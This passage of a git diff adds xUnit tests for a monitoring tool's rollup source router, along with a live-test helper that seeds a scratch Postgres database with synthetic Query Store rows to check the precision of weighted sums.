+                [TimescaleSupport.QueryStatsIntervalHourlyView] = Now.Date.AddDays(-100).AddHours(5),
+                [TimescaleSupport.QueryStatsIntervalDailyView] = Now.Date.AddDays(-110),
+            },
+            new Dictionary<string, DateTime>(StringComparer.Ordinal) { ["query_stats"] = Now.AddDays(-4) },
+            RollupAvailability.All);
+
+        var route = ComposeSourceRouter.Resolve(Plan("query_worker_us"), Now, Now.AddDays(-150), RollupAvailability.All, coverage);
+
+        Assert.Equal(ComposeSourceTier.Daily, route.Tier);
+        Assert.Equal(Now.Date.AddDays(-99), route.StitchBoundaryUtc);
+        Assert.Contains("UNION ALL", route.CaggFromClause, StringComparison.Ordinal);
+    }
+
+    /// <summary>The day-grain daily has no successor, so its clause names the one relation. The data-start probe reads
+    /// the relations a panel read off the clause, so it must carry one like every other rollup route.</summary>
+    [Fact]
+    public void TheDayGrainDailyRoute_CarriesItsFromClause_SoTheDataStartProbeReadsIt()
+    {
+        var route = ComposeSourceRouter.Resolve(
+            Plan("qs_executions"), Now, Now.AddDays(-100), RollupAvailability.All, QueryStoreLadder(dayGrainDays: 120));
+
+        Assert.Equal(TimescaleSupport.QueryStoreStatsDayGrainDailyView, route.CaggRelation);
+        Assert.Equal($"collect.{TimescaleSupport.QueryStoreStatsDayGrainDailyView} AS f", route.CaggFromClause);
+        Assert.Null(route.StitchBoundaryUtc);
+
+        var source = Assert.Single(ComposeStoreAvailability.DataStartSources("query_store_stats", route));
+        Assert.Equal(TimescaleSupport.QueryStoreStatsDayGrainDailyView, source.Relation);
+        Assert.Null(source.LowerBoundUtc);
+    }
+
+    [Fact]
+    public void EveryRollupRoute_CarriesTheFromClauseItReads()
+    {
+        var coverages = new[]
+        {
+            RollupCoverage.Unknown,
+            QueryStoreLadder(dayGrainDays: 120),
+            QueryStatsHourlyStore(Now.AddDays(-1)),
+            QueryStatsHourlyStore(Now.AddDays(-80)),
+        };
+
+        foreach (var plan in new[] { Plan("query_worker_us"), Plan("qs_executions") })
+        {
+            foreach (var coverage in coverages)
+            {
+                foreach (var age in new[] { 10, 40, 100, 150, 300 })
+                {
+                    var route = ComposeSourceRouter.Resolve(plan, Now, Now.AddDays(-age), RollupAvailability.All, coverage);
+
+                    if (route.IsCagg)
+                    {
+                        Assert.False(string.IsNullOrEmpty(route.CaggFromClause), $"a {age}-day window routed to {route.CaggRelation} with no FROM clause");
+                    }
+                }
+            }
+        }
+    }
+
+    /* ─────────────── the hourly-raw-edges candidate ─────────────── */
+
+    private static readonly DateTime EdgeStart = Now.AddHours(-23.5);
+
+    private static RollupCoverage EdgeCoverage(DateTime? floor, DateTime? ceiling)
+    {
+        var floors = new Dictionary<string, DateTime>(StringComparer.Ordinal);
+        if (floor is not null)
+        {
+            floors[TimescaleSupport.QueryStatsIntervalHourlyView] = floor.Value;
+        }
+
+        var ceilings = new Dictionary<string, DateTime>(StringComparer.Ordinal);
+        if (ceiling is not null)
+        {
+            ceilings[TimescaleSupport.QueryStatsIntervalHourlyView] = ceiling.Value;
+        }
+
+        return new RollupCoverage(floors, new Dictionary<string, DateTime>(StringComparer.Ordinal), RollupAvailability.All, ceilings);
+    }
+
+    private static PanelPlan EdgePlan(
+        string measureKey = "query_worker_us", PanelMode mode = PanelMode.TimeSeries,
+        ComposeTimeBucket bucket = ComposeTimeBucket.Hour, ComposeAggregate aggregate = ComposeAggregate.Sum) =>
+        Plan(measureKey, mode) with { TimeBucket = bucket, Aggregate = aggregate };
+
+    private static ComposeHourlyEdgesCandidate? Edge(
+        PanelPlan? plan = null, DateTime? start = null, DateTime? end = null, DateTime? now = null,
+        RollupAvailability? rollups = null, RollupCoverage? coverage = null) =>
+        ComposeSourceRouter.HourlyRawEdgesCandidate(
+            plan ?? EdgePlan(), now ?? Now, start ?? EdgeStart, end ?? Now,
+            rollups ?? RollupAvailability.All, coverage ?? EdgeCoverage(Now.AddDays(-3), Now.AddMinutes(-20)));
+
+    [Fact]
+    public void HourlyRawEdges_AnEligibleWindow_YieldsTheWholeHourMiddleAndTheSuccessor()
+    {
+        var candidate = Edge();
+
+        Assert.NotNull(candidate);
+        Assert.Equal("query_stats", candidate!.SourceTable);
+        Assert.Equal(TimescaleSupport.QueryStatsIntervalHourlyView, candidate.SuccessorView);
+        Assert.Equal(Now.AddHours(-23), candidate.HourStartUtc);
+        Assert.Equal(Now.AddHours(-1), candidate.HourEndUtc);
+    }
+
+    [Fact]
+    public void HourlyRawEdges_StartAndEndExactlyOnTheHour_AreKept()
+    {
+        var candidate = Edge(start: Now.AddHours(-24), coverage: EdgeCoverage(Now.AddDays(-3), Now.AddMinutes(30)));
+
+        Assert.NotNull(candidate);
+        Assert.Equal(Now.AddHours(-24), candidate!.HourStartUtc);
+        Assert.Equal(Now, candidate.HourEndUtc);
+    }
+
+    [Fact]
+    public void HourlyRawEdges_TheCeiling_ClampsTheEnd()
+    {
+        var candidate = Edge(coverage: EdgeCoverage(Now.AddDays(-3), Now.AddHours(-5).AddMinutes(10)));
+
+        Assert.NotNull(candidate);
+        Assert.Equal(Now.AddHours(-5), candidate!.HourEndUtc);
+    }
+
+    [Fact]
+    public void HourlyRawEdges_AMiddleUnderAnHour_IsNull()
+    {
+        /* The ceiling leaves 0 whole hours after the first whole hour of the window. */
+        Assert.Null(Edge(coverage: EdgeCoverage(Now.AddDays(-3), Now.AddHours(-23).AddMinutes(30))));
+        Assert.Null(Edge(start: Now.AddHours(-12).AddMinutes(-30), end: Now.AddHours(0), coverage: EdgeCoverage(Now.AddDays(-3), Now.AddHours(-12))));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_ResolveNotRaw_IsNull()
+    {
+        Assert.Null(Edge(start: Now.AddDays(-10)));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_ProcedureStats_IsNull()
+    {
+        /* Coverage for the procedure successor is complete, so only the enabled set can refuse it. */
+        var coverage = new RollupCoverage(
+            new Dictionary<string, DateTime>(StringComparer.Ordinal) { [TimescaleSupport.ProcedureStatsIntervalHourlyView] = Now.AddDays(-3) },
+            new Dictionary<string, DateTime>(StringComparer.Ordinal),
+            RollupAvailability.All,
+            new Dictionary<string, DateTime>(StringComparer.Ordinal) { [TimescaleSupport.ProcedureStatsIntervalHourlyView] = Now.AddMinutes(-20) });
+        Assert.Null(Edge(plan: EdgePlan("proc_worker_us"), coverage: coverage));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_ASourceOutsideTheEnabledSet_IsNull()
+    {
+        /* query_store_stats keeps its own corrected/legacy comparison and is not enabled. */
+        Assert.Null(Edge(plan: EdgePlan("qs_executions")));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_ANonCumulativeMeasure_IsNull()
+    {
+        var perEvent = Measure("query_worker_us") with { Archetype = MeasureArchetype.PerEvent, DeltaColumn = null };
+        Assert.Null(Edge(plan: EdgePlan() with { Measure = perEvent }));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_ARatioMeasure_IsNull_ByTheExplicitKindCheck()
+    {
+        /* A Ratio's AggregationColumn is null already, so a bare ratio would be refused by the column gate. Giving it
+           a mapped column proves the refusal comes from the explicit Kind check, not from that gate. */
+        var ratio = Measure("query_avg_cpu_us") with { Archetype = MeasureArchetype.Cumulative, DeltaColumn = "delta_worker_time" };
+        Assert.Equal(MeasureKind.Ratio, ratio.Kind);
+        Assert.Equal("delta_worker_time", ratio.AggregationColumn);
+        Assert.Null(Edge(plan: EdgePlan() with { Measure = ratio }));
+    }
+
+    [Fact]
+    public void NormalizeServerScope_NullAndEmptyAreTheFleet_AnythingElseIsTheList()
+    {
+        var list = new[] { "A", "B" };
+        Assert.Null(ComposeSourceRouter.NormalizeServerScope(null));
+        Assert.Null(ComposeSourceRouter.NormalizeServerScope(Array.Empty<string>()));
+        Assert.Same(list, ComposeSourceRouter.NormalizeServerScope(list));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_AMeasureColumnTheSuccessorLacks_IsNull()
+    {
+        var unmapped = Measure("query_worker_us") with { DeltaColumn = "delta_rows" };
+        Assert.Null(Edge(plan: EdgePlan() with { Measure = unmapped }));
+    }
+
+    [Theory]
+    [InlineData(ComposeAggregate.Sum, true)]
+    [InlineData(ComposeAggregate.Max, true)]
+    [InlineData(ComposeAggregate.Min, true)]
+    [InlineData(ComposeAggregate.Avg, false)]
+    [InlineData(ComposeAggregate.Count, false)]
+    public void HourlyRawEdges_OnlySumMaxAndMin_Qualify(ComposeAggregate aggregate, bool expected) =>
+        Assert.Equal(expected, Edge(plan: EdgePlan(aggregate: aggregate)) is not null);
+
+    [Fact]
+    public void HourlyRawEdges_AnOverlay_MustMatchSourceAggregateAndColumn()
+    {
+        var sameShape = new ComposeOverlay(Measure("query_executions"), ComposeAggregate.Sum, "count");
+        Assert.NotNull(Edge(plan: EdgePlan() with { Overlay = sameShape }));
+
+        var otherAggregate = new ComposeOverlay(Measure("query_executions"), ComposeAggregate.Max, "count");
+        Assert.Null(Edge(plan: EdgePlan() with { Overlay = otherAggregate }));
+
+        var otherSource = new ComposeOverlay(Measure("proc_executions"), ComposeAggregate.Sum, "count");
+        Assert.Null(Edge(plan: EdgePlan() with { Overlay = otherSource }));
+
+        var unmapped = new ComposeOverlay(Measure("query_executions") with { DeltaColumn = "delta_rows" }, ComposeAggregate.Sum, "count");
+        Assert.Null(Edge(plan: EdgePlan() with { Overlay = unmapped }));
+    }
+
+    [Theory]
+    [InlineData(PanelMode.Ranked, ComposeTimeBucket.None, true)]
+    [InlineData(PanelMode.Scalar, ComposeTimeBucket.None, true)]
+    [InlineData(PanelMode.TimeSeries, ComposeTimeBucket.Hour, true)]
+    [InlineData(PanelMode.TimeSeries, ComposeTimeBucket.Day, true)]
+    [InlineData(PanelMode.RankedTimeSeries, ComposeTimeBucket.Hour, true)]
+    [InlineData(PanelMode.TimeSeries, ComposeTimeBucket.Minute, false)]
+    [InlineData(PanelMode.TimeSeries, ComposeTimeBucket.Auto, false)]
+    [InlineData(PanelMode.RankedTimeSeries, ComposeTimeBucket.Minute, false)]
+    public void HourlyRawEdges_ModeAndBucket(PanelMode mode, ComposeTimeBucket bucket, bool expected) =>
+        Assert.Equal(expected, Edge(plan: EdgePlan(mode: mode, bucket: bucket)) is not null);
+
+    [Fact]
+    public void HourlyRawEdges_AutoBucketThatResolvesToHour_Qualifies()
+    {
+        /* Auto resolves to Hour above 2 days; a 3-day-old start still routes raw, so 2.5 days it is. */
+        var start = Now.AddDays(-2.5);
+        Assert.NotNull(Edge(plan: EdgePlan(bucket: ComposeTimeBucket.Auto), start: start));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_StatementDimension_Qualifies_BecauseItReadsOnlyMappedAndModuleColumns()
+    {
+        /* statement groups on COALESCE(m.object_name, f.query_hash): the module join plus the successor's own
+           query_hash column. */
+        var statement = MeasureCatalog.Dimension("query_stats", "statement")!;
+        Assert.Equal("query_hash", statement.FallbackColumn);
+        Assert.NotNull(Edge(plan: EdgePlan(mode: PanelMode.Ranked) with { GroupBy = new[] { statement } }));
+
+        var objectName = MeasureCatalog.Dimension("query_stats", "object_name")!;
+        Assert.NotNull(Edge(plan: EdgePlan(mode: PanelMode.Ranked) with { GroupBy = new[] { objectName } }));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_ADimensionTheSuccessorLacks_IsNull()
+    {
+        var unmapped = new ComposeDimension("query_stats", "rows_dim", "total_rows", Likeable: false);
+        Assert.Null(Edge(plan: EdgePlan(mode: PanelMode.Ranked) with { GroupBy = new[] { unmapped } }));
+
+        var filter = new ComposeFilter(unmapped, ComposeFilterOp.Eq, new ComposeFilterValue(new[] { "1" }, null));
+        Assert.Null(Edge(plan: EdgePlan() with { Filters = new[] { filter } }));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_TheSuccessorAbsent_IsNull()
+    {
+        var rollups = RollupAvailability.All with { QueryGrainIntervalHourly = false };
+        Assert.Null(Edge(rollups: rollups));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_ASuccessorFloorAfterTheFirstWholeHour_IsNull()
+    {
+        Assert.Null(Edge(coverage: EdgeCoverage(Now.AddHours(-22), Now.AddMinutes(-20))));
+        Assert.Null(Edge(coverage: EdgeCoverage(null, Now.AddMinutes(-20))));
+        Assert.NotNull(Edge(coverage: EdgeCoverage(Now.AddHours(-23), Now.AddMinutes(-20))));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_NoMeasuredCeiling_IsNull()
+    {
+        Assert.Null(Edge(coverage: EdgeCoverage(Now.AddDays(-3), null)));
+        Assert.Null(Edge(coverage: RollupCoverage.Unknown));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_AWindowNotEndingNow_IsNull()
+    {
+        Assert.Null(Edge(start: Now.AddHours(-30), end: Now.AddHours(-2)));
+        Assert.NotNull(Edge(end: Now.AddSeconds(-30)));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_AWindowUnder12Hours_IsNull()
+    {
+        Assert.Null(Edge(start: Now.AddHours(-11.5), coverage: EdgeCoverage(Now.AddDays(-3), Now.AddMinutes(30))));
+        Assert.NotNull(Edge(start: Now.AddHours(-12), coverage: EdgeCoverage(Now.AddDays(-3), Now.AddMinutes(30))));
+    }
+
+    [Fact]
+    public void HourlyRawEdges_EnabledSources_AreExactlyQueryStats()
+    {
+        Assert.True(
+            ComposeSourceRouter.HourlyRawEdgesEnabledSources.SetEquals(new[] { "query_stats" }),
+            "Only query_stats has been measured against its raw read; procedure_stats stays mapped in ComposeHybridColumns but disabled until it is.");
+    }
+
+    [Fact]
+    public void IsCagg_IsTrueOnlyForTheHourlyAndDailyTiers()
+    {
+        Assert.False(new ComposeRoute(ComposeSourceTier.Raw, null).IsCagg);
+        Assert.True(new ComposeRoute(ComposeSourceTier.Hourly, "x").IsCagg);
+        Assert.True(new ComposeRoute(ComposeSourceTier.Daily, "x").IsCagg);
+        Assert.False(new ComposeRoute(ComposeSourceTier.HourlyRawEdges, "x", null, null, Now, Now).IsCagg);
+    }
 }
diff --git a/Darling/Darling.Tests/ComposeStampLiveSupport.cs b/Darling/Darling.Tests/ComposeStampLiveSupport.cs
new file mode 100644
index 0000000000..e7b5a93716
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeStampLiveSupport.cs
@@ -0,0 +1,232 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582 part 3, lane 4: the seed and the helpers the three <c>ComposeQueryStoreStamp*LiveTests</c> classes share. The seed is lane 1's
+/// (<see cref="QueryStoreComposeStampLiveTests"/>): 30 hours of Query Store wide rows ending at the current hour, three servers
+/// (ids 1 to 3, registered as srv1 to srv3), 12 stamps an hour, six query hashes with three plans each, with NULL modules, hashes,
+/// durations and counts, Aborted and Exception rows, and products that pass a bigint. The builder then runs hour by hour, so the
+/// store has 28 built hours: hourNow - 30 h up to hourNow - 3 h.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. This class reaches DARLING_TEST_PG only to CREATE and DROP each
+   test's own database through ScratchPostgres and works entirely inside it, so it never touches the shared database and cannot race the
+   live collection. */
+internal static class ComposeStampLiveSupport
+{
+    internal const int RetentionDays = 9;
+
+    internal const string SkipReason = "Set DARLING_TEST_PG to a Postgres connection string to run the #5582 compose rollup's live facts.";
+
+    internal static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    internal static string At(DateTime value) => value.ToString("yyyy-MM-dd HH:mm:ss.ffffff", CultureInfo.InvariantCulture);
+
+    internal static DateTime ThisHour() => new(DateTime.UtcNow.Year, DateTime.UtcNow.Month, DateTime.UtcNow.Day, DateTime.UtcNow.Hour, 0, 0, DateTimeKind.Unspecified);
+
+    internal static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    internal static async Task<long> CountAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture);
+    }
+
+    internal static async Task<string> TextAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        return Convert.ToString(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture) ?? string.Empty;
+    }
+
+    internal static async Task EnrollAsync(NpgsqlConnection connection, int serverId, CancellationToken ct) =>
+        await ExecAsync(connection,
+            $"INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES ({serverId}, 'srv{serverId}', TRUE) ON CONFLICT (server_id) DO NOTHING;"
+            + $"INSERT INTO collect.query_store_interval_wide_coverage (server_id, filled_since, applied_through) VALUES ({serverId}, date_trunc('hour', now() AT TIME ZONE 'UTC') - interval '30 hours', now() AT TIME ZONE 'UTC')", ct);
+
+    internal static Task SeedAsync(NpgsqlConnection connection, DateTime hourNow, CancellationToken ct) => ExecAsync(connection, $@"
+INSERT INTO collect.query_store_interval_wide
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+ module_name, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, max_duration_us, max_cpu_time_us, replica_role,
+ runtime_stats_interval_id, interval_start_time_utc)
+SELECT t.ct, s.server_id, 'db' || (q % 2), q, q * 10 + p,
+       CASE WHEN (h + m + q + p) % 11 = 0 THEN 'Aborted' WHEN (h + m + q + p) % 13 = 0 THEN 'Exception' ELSE 'Regular' END,
+       t.ct - interval '3 minutes', t.ct,
+       CASE WHEN q IN (3, 6) THEN NULL ELSE 'mod' || (q % 3) END,
+       CASE WHEN q = 5 THEN NULL ELSE 'hash' || q END,
+       CASE WHEN (h + m + p) % 17 = 0 AND q <> 1 THEN NULL WHEN q = 1 THEN 2000000 ELSE ((h + m + q + p) * 100 + 1)::bigint END,
+       CASE WHEN (h + m + q) % 7 = 0 AND q <> 1 THEN NULL WHEN q = 1 THEN 3000000000000::bigint ELSE ((h * 1000 + m * 37 + q * 13 + p) * 1000)::bigint END,
+       CASE WHEN (h + q) % 5 = 0 AND q <> 1 THEN NULL ELSE ((h + m + q) * 523 + p)::bigint END,
+       ((h + 1) * 997 + m + q)::bigint, CASE WHEN (m + q) % 4 = 0 THEN NULL ELSE ((h + 2) * 311 + m * q)::bigint END,
+       NULL,
+       ((((h * 12 + m) * 3 + s.k) * 6 + q) * 3 + p), t.ct - interval '10 minutes'
+FROM generate_series(0, 29) AS h
+CROSS JOIN generate_series(0, 11) AS m
+CROSS JOIN (VALUES (1, 0), (2, 1), (3, 2)) AS s (server_id, k)
+CROSS JOIN generate_series(1, 6) AS q
+CROSS JOIN generate_series(1, 3) AS p
+CROSS JOIN LATERAL (SELECT TIMESTAMP '{At(hourNow)}' - interval '30 hours' + h * interval '1 hour' + m * interval '5 minutes' AS ct) AS t", ct);
+
+    /// <summary>Where <see cref="SeedPrecisionRowsAsync"/> puts its rows: in hours the build covers (the rollup arm), after the
+    /// StampThrough of the 28-hour-to-40-minute window (the tail arm), or as late rows into a built hour (the stale arm, once the build
+    /// has run).</summary>
+    internal enum PrecisionSpot
+    {
+        Built = 0,
+        Tail = 1,
+        Stale = 2,
+    }
+
+    /// <summary>
+    /// #5582 part 3, lane 4c: rows a weighted sum built as <c>double precision</c> cannot hold. <c>avg_duration_us</c>, <c>avg_cpu_time_us</c>
+    /// and <c>execution_count</c> are all <c>bigint</c> in the wide table, so a stored average has no fraction; the loss shows in the
+    /// PRODUCT instead. Two kinds of rows, on servers 1 and 2:
+    /// <list type="bullet">
+    /// <item><b>63-bit rows</b> (<c>modP</c>): both products odd and near 6e18, so a double (53 bits) rounds each one; six stamps, and each
+    /// group (one stamp and server) holds 40 rows with different values, so its sum passes 2e20 and a running double sum rounds at every
+    /// step where a numeric sum rounds nowhere.</item>
+    /// <item><b>Tie rows</b> (<c>modT</c>): <c>execution_count</c> 1 and both averages 2^53 + 1, three rows to a group. A double holds 2^53
+    /// but not 2^53 + 1, so each product is rounded down to 2^53 (a tie), the group's double sum is 3 x 2^53 where the exact one is
+    /// 3 x 2^53 + 3, and the two final doubles differ. Rounding errors of a few hundred in the 63-bit sums can stay under half the ulp of
+    /// the final value and hide; this error cannot. Their maxima are 1, so the group ranks last in every Top N of a maximum and cannot move a tie at the Top N boundary.</item>
+    /// </list>
+    /// The seed's own products are all exact in a double (multiples of a large power of two), which is why it alone let a double-precision
+    /// weighted sum pass (lane 4b, red-plant 3). The spots matter because the three arms of the stamp relation build their partials
+    /// differently: the builder (rollup), <c>ComposeCompiler.PerRowPartial</c> (stale and tail). <c>Built</c> and <c>Tail</c> go in before
+    /// the build; <c>Stale</c> after it, and turns the pairs of the hour stale. <see cref="AssertPrecisionRowsHaveTeethAsync"/> checks the
+    /// built rows.
+    /// </summary>
+    internal static Task SeedPrecisionRowsAsync(NpgsqlConnection connection, DateTime hourNow, PrecisionSpot spot, CancellationToken ct)
+    {
+        /* (63-bit rows start, step minutes, tie rows start, step minutes). Every stamp of the Built and Stale spots lies inside one hour. The Tail
+           spot's tie rows start 95 minutes before the current hour with a step of 4 minutes, for g = 0 to 10, so g = 9 and 10 (at 59 and 55
+           minutes before it) fall in the next hour; both hours are in the tail arm, so that does not matter to the test. */
+        var (bigStart, bigStep, tieStart, tieStep) = spot switch
+        {
+            PrecisionSpot.Built => (hourNow.AddHours(-12), 7, hourNow.AddHours(-9), 5),
+            PrecisionSpot.Tail => (hourNow.AddMinutes(-110), 7, hourNow.AddMinutes(-95), 4),
+            _ => (hourNow.AddHours(-6).AddMinutes(8), 3, hourNow.AddHours(-6).AddMinutes(30), 2),
+        };
+        var salt = (int)spot;
+        return ExecAsync(connection, $@"
+INSERT INTO collect.query_store_interval_wide
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+ module_name, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, max_duration_us, max_cpu_time_us, runtime_stats_interval_id)
+SELECT TIMESTAMP '{At(bigStart)}' + g * {bigStep} * interval '1 minute', s, 'db1', {salt}0000 + 700 + g * 100 + k, {salt}0000 + 700 + g * 100 + k, 'Regular',
+       TIMESTAMP '{At(bigStart)}' - interval '1 hour', TIMESTAMP '{At(bigStart)}',
+       'modP', 'hashP', 2000001 + (g * 40 + k) * 2, 3000000000001 + (g * 40 + k) * 2 + k * k, 3000000000003 + (g * 40 + k) * 2 + k * 3,
+       5000 + g, 6000 + g, 7000000 + {salt}000000 + ((g * 2 + s) * 100 + k)
+FROM generate_series(1, 6) AS g CROSS JOIN generate_series(1, 2) AS s CROSS JOIN generate_series(1, 40) AS k;
+
+INSERT INTO collect.query_store_interval_wide
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+ module_name, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, max_duration_us, max_cpu_time_us, runtime_stats_interval_id)
+SELECT TIMESTAMP '{At(tieStart)}' + g * {tieStep} * interval '1 minute', s, 'db0', {salt}0000 + 5000 + g * 10 + k, {salt}0000 + 5000 + g * 10 + k, 'Regular',
+       TIMESTAMP '{At(tieStart)}' - interval '1 hour', TIMESTAMP '{At(tieStart)}',
+       'modT', 'hashT', 1, 9007199254740993, 9007199254740993, 1, 1, 9000000 + {salt}000000 + ((g * 2 + s) * 10 + k)
+FROM generate_series(0, 10) AS g CROSS JOIN generate_series(1, 2) AS s CROSS JOIN generate_series(1, 3) AS k", ct);
+    }
+
+    /// <summary>
+    /// The precision rows really are beyond a double: some weighted sum of a group (over the wide table) does not survive a round trip through
+    /// <c>double precision</c>, and some is past a bigint. Without this a changed seed could quietly stop testing precision.
+    /// </summary>
+    internal static async Task AssertPrecisionRowsHaveTeethAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        /* Over the WIDE table, never the rollup: a rollup built wrongly must not be able to satisfy its own seed check. */
+        const string Groups = @"
+SELECT sum(avg_duration_us * execution_count) AS d, sum(avg_cpu_time_us * execution_count) AS c, count(*) AS n
+FROM collect.query_store_interval_wide WHERE module_name = 'modP' GROUP BY collection_time, server_id";
+        Assert.True(await CountAsync(connection, $"SELECT count(*) FROM ({Groups}) AS g WHERE d::double precision::numeric <> d", ct) > 0, "no duration weighted sum is beyond a double");
+        Assert.True(await CountAsync(connection, $"SELECT count(*) FROM ({Groups}) AS g WHERE c::double precision::numeric <> c", ct) > 0, "no cpu weighted sum is beyond a double");
+        Assert.True(await CountAsync(connection, $"SELECT count(*) FROM ({Groups}) AS g WHERE d > 9223372036854775807", ct) > 0, "no duration weighted sum is past a bigint");
+        Assert.True(await CountAsync(connection, $"SELECT min(n) FROM ({Groups}) AS g", ct) >= 40, "the precision groups must hold many rows each");
+        const string Ties = @"
+SELECT sum(avg_duration_us * execution_count) AS d, sum(avg_cpu_time_us * execution_count) AS c, count(*) AS n
+FROM collect.query_store_interval_wide WHERE module_name = 'modT' GROUP BY collection_time, server_id";
+        Assert.Equal(0, await CountAsync(connection, $"SELECT count(*) FROM ({Ties}) AS g WHERE n <> 3 OR d <> 3 * 9007199254740993::numeric OR d::double precision::numeric = d", ct));
+        Assert.True(await CountAsync(connection, $"SELECT count(*) FROM ({Ties}) AS g", ct) > 0, "no rounding-tie groups");
+    }
+
+    /// <summary>Builds every hour that is due, tick by tick, and returns how many hours were built.</summary>
+    internal static async Task<int> BuildAllAsync(NpgsqlDataSource source, CancellationToken ct)
+    {
+        var total = 0;
+        for (var guard = 0; guard < 20; guard++)
+        {
+            var result = await QueryStoreComposeStamp.RunTickAsync(source, DateTime.UtcNow, RetentionDays, NullLogger.Instance, ct);
+            Assert.Equal(0, result.Failed);
+            if (result.Built == 0)
+            {
+                return total;
+            }
+
+            total += result.Built;
+        }
+
+        throw new InvalidOperationException("the builder never ran out of hours");
+    }
+
+    /// <summary>One late row (a replay) into an hour, at the given stamp.</summary>
+    internal static Task InsertRowAsync(NpgsqlConnection connection, int serverId, DateTime collectionTime, long interval, CancellationToken ct, string table = "collect.query_store_interval_wide") => ExecAsync(connection, $@"
+INSERT INTO {table}
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+ module_name, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, max_duration_us, max_cpu_time_us, runtime_stats_interval_id)
+VALUES (TIMESTAMP '{At(collectionTime)}', {serverId}, 'dbX', 99, 99, 'Regular', TIMESTAMP '{At(collectionTime.AddMinutes(-3))}', TIMESTAMP '{At(collectionTime)}',
+        'modX', 'hashX', 7, 1000, 500, 2000, 900, {interval})", ct);
+
+    /// <summary>A migrated scratch store with the three servers enrolled, the 30-hour seed, and every due hour built (28).</summary>
+    internal static async Task<(ScratchPostgres Scratch, NpgsqlConnection Connection, NpgsqlDataSource Source, DateTime HourNow)> ArrangeAsync(
+        CancellationToken ct, int servers = 3, bool build = true)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        for (var s = 1; s <= servers; s++)
+        {
+            await EnrollAsync(connection, s, ct);
+        }
+
+        var hourNow = ThisHour();
+        await SeedAsync(connection, hourNow, ct);
+        var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+        if (build)
+        {
+            Assert.Equal(28, await BuildAllAsync(source, ct));
+        }
+
+        return (scratch, connection, source, hourNow);
+    }
+
+    /// <summary>The runner's StampThrough lookup on a connection, for the servers 1 to <paramref name="servers"/>.</summary>
+    internal static Task<DateTime?> StampThroughAsync(NpgsqlConnection connection, DateTime wideStart, DateTime end, CancellationToken ct, int servers = 3) =>
+        PerformanceMonitor.Darling.Service.DarlingWebEndpoints.ResolveQueryStoreStampThroughAsync(
+            connection, System.Linq.Enumerable.ToArray(System.Linq.Enumerable.Range(1, servers)), wideStart, end, QueryStoreComposeStamp.RungVersion, ct);
+
+    internal static async Task CleanupAsync(ScratchPostgres scratch, NpgsqlConnection connection, NpgsqlDataSource source, bool bodySucceeded)
+    {
+        await source.DisposeAsync();
+        await connection.DisposeAsync();
+        await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        await scratch.DisposeAsync();
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeStatementTimeoutV147MigrationLiveTests.cs b/Darling/Darling.Tests/ComposeStatementTimeoutV147MigrationLiveTests.cs
index 32be927a44..f27d65198d 100644
--- a/Darling/Darling.Tests/ComposeStatementTimeoutV147MigrationLiveTests.cs
+++ b/Darling/Darling.Tests/ComposeStatementTimeoutV147MigrationLiveTests.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
@@ -30,8 +31,10 @@ namespace Darling.Tests;
 /// scope 2) the moment that rung landed.</para>
 /// </summary>
 /* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Each fact mints its own scratch database
-   through ScratchPostgres and never touches the shared store's tables, so it cannot race the live collection
-   and serializing it would be pure slowdown. */
+   through ScratchPostgres and never touches the shared store's tables, so it cannot race the live collection.
